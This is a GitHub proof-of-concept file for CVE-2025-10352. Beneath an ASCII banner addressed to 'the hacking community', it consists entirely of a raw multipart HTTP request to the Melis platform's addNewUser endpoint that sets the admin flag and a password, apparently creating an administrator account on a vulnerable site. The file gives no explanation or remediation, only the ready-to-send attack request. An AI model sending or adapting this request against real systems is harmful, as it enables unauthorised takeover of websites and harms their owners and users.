CVE-2025-10352-POC/CVE-2025-10352-POC.txt at main · ivansmc00/CVE-2025-10352-POC · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#===========================================================================================#
#          _______      ________    ___   ___ ___  _____      __  ___ ____  _____ ___       #
#         / ____\ \    / /  ____|  |__ \ / _ \__ \| ____|    /_ |/ _ \___ \| ____|__ \      #
#        | |     \ \  / /| |__ ______ ) | | | | ) | |__ ______| | | | |__) | |__    ) |     #
#        | |      \ \/ / |  __|______/ /| | | |/ /|___ \______| | | | |__ <|___ \  / /      #
#        | |____   \  /  | |____    / /_| |_| / /_ ___) |     | | |_| |__) |___) |/ /_      #
#         \_____|   \/   |______|  |____|\___/____|____/      |_|\___/____/|____/|____|     #
#                                                                                           #
#                                                                                           #
#      Made with love for the hacking community <3         Manuel Iván San Martín Castillo  #
#===========================================================================================#

POST /melis/MelisCore/ToolUser/addNewUser HTTP/2
Host: vulnerable-host.com
Content-Type: multipart/form-data; boundary=---------------------------12286225432066454741553036734
Content-Length: 2222

-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="usr_login"

usertest
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="usr_status"

1
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="usr_email"

[email protected]
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="usr_password"

SecurePassword1234!
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="usr_confirm_password"

SecurePassword1234!
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="usr_firstname"

user
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="usr_lastname"

test
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="usr_lang_id"

1
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="usr_admin"

on
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="usr_image"; filename=""
Content-Type: application/octet-stream


-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="usr_role_id"

2
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="treeStatus"

{"treeStatus":[]}
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="meliscore_interface_root"

{"meliscore_interface_root":[]}
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="meliscore_leftmenu_root"

{"meliscore_leftmenu_root":[]}
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="melis_dashboardplugin_root"

{"melis_dashboardplugin_root":[]}
-----------------------------12286225432066454741553036734
Content-Disposition: form-data; name="meliscms_pages_root"

{"meliscms_pages_root":[]}
-----------------------------12286225432066454741553036734--